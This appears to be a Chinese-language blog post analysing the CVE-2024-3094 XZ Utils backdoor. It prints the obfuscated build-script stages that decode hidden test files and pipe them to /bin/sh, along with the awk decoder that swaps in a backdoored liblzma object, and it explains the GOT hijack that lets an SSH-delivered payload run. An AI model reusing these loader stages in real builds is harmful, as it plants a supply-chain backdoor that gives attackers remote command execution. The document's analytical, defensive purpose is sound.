CVE-2024-3094 XZ Backdoor Analysis

 3月29日爆出来 XZ Utils (压缩和解压缩 .xz 和 .lzma 文件的工具)的洞,xz 是一种基于 LZMA2 压缩算法的文件格式。

  • XZ Utils v5.6.0 和 v5.6.1 中 tar 包的编译文件被植入恶意命令。
  • 恶意命令执行后,替换正常编译过程中的中间文件为后门文件,并和其他组件一起编译到 XZ Utils 的 Liblzma 库文件中。
  • 后门代码被执行时,将 hook SSHD 进程中的 SSH 登录认证函数。当接收到指定的 SSH 数据包时,将未授权执行指定的系统命令。

细节分析

Step1:样本下载,link

Step2:恶意代码存在于 build-to-host.m4 中,.m4 文件是一种宏文件,用于 GNU Autoconf 工具链中。Autoconf 是一个用于自动化软件包配置的工具,它允许软件包在不同的系统上进行自动配置和编译

image-20240407093802170

  build-to-host.m4 使用 autoconf 命令转为 configure 文件,然后 ./configure, make 就可以生成 xz 可执行文件。生成的 configure 文件如下:

image-20240407094030047

 其中含义就是,如果 $gl_am_configmake 非空,就执行 if 字符串。

1
gl_localedir_config='sed \"r\n\" ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null'

  其中 gl_localedir_config 的意思就是对 bad-3-corrupt_lzma2.xz 中的内容进行字符串替换处理,最后解压。

Step3:将 gl_localedir_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_localedir_prefix -d 2>/dev/null' 的输出重定向到 output 文件,可以获得 bad-3-corrupt_lzma2 的内容:

1
2
3
4
5
6
7
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh

 此脚本本质上是对 good-large_compressed.lzma 进行解压,并将其某些字节做处理,再解压,并交给 sh 执行。将其重定向到 output2,output2 中,有代码:

1
2
3
4
5
6
7
...
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
if ! test -f liblzma_la-crc64-fast.o; then
exit 0
...
cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true
...

 主要做了两件事,(1)将某文件解压并写到 liblzma_la-crc64-fast.o;(2)用 liblzma_la-crc64-fast.o 替换 liblzma_la-crc64_fast.o。也许是环境的问题,我在本地始终不能编译出具有恶意代码的 liblzma_la-crc64-fast.o,因此直接下载样本 link

Step4:下面分析一下 liblzma_la-crc64-fast.o。在其中用户自定义的 CRC64 的解析函数中(也就是自己定位这两个函数的位置),名为 crc64_resolve。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
crc64_resolve(void) {
return is_arch_extension_supported() ? &crc64_arch_optimized : &crc64_generic;
}

static inline bool
is_arch_extension_supported(void)
{
int success = 1;
uint32_t r[4]; // eax, ebx, ecx, edx
#if defined(_MSC_VER)
__cpuid(r, 1);
#elif defined(HAVE_CPUID_H)
success = __get_cpuid(1, &r[0], &r[1], &r[2], &r[3]);
#else
__asm__("cpuid\n\t"
: "=a"(r[0]), "=b"(r[1]), "=c"(r[2]), "=d"(r[3])
: "a"(1), "c"(0));
#endif
const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19);
return success && (r[2] & ecx_mask) == ecx_mask;
}

 可以看出,liblzma.so 中调用 __get_cpuid 来判断,然后根据不同的 cpu 特征返回不同的处理函数。而在 liblzma_la-crc64-fast.o 中,恰好导出了 _get_cpuid 函数。

image-20240407134440818

image-20240407134457961

 可以看出 get_cpuid 被魔改,sub_A750 函数第一次运行的时候直接调用 cpuid,然后返回,但是第二次的时候就会调用 Llzma_block_param_encoder_0 函数。

image-20240407134846624

 Llzma_block_param_encoder_0 计算 result,进一步计算出 v5,并将其传给 cpuid 函数。经过分析,v5 实际上是 cpuid 在 GOT 表的地址,也就是说,它劫持了 cpuid 到自定义恶意代码。

Step5:恶意代码非常长,因此这里直接看了 openwall 的分析报告,报告中说恶意代码使用 GOT hook 了 RSA_public_decrypt,具体 GOT 修改后是哪个地址在此并未分析,报告中时使用 gdb 动态调试来找到的。最终,可以跟踪到 sub_7660 函数。根据报告,其具体做了如下事情:

1
2
3
4
5
6
7
1. 从 RSA 公钥中取参数 n。
2. 获取密钥 K。
a. 对数据 A 进行 chacha20 流密码解密(key = 0),得到解密明文 K1;
b. 使用 K2 对数据 B 进行 chacha20 流密码解密,得到密钥 K;
3. 使用 K 对 n 进行解密(chacha20),得到 payload,payload 是带签名的。
4. 使用 K 对 payload 验签(ED448)。
5. system 执行 payload。

 其中,参数 n 是由攻击者发送过来的,因此能够执行 RCE。Exp: link

留言

© 2024 wd-z711

⬆︎TOP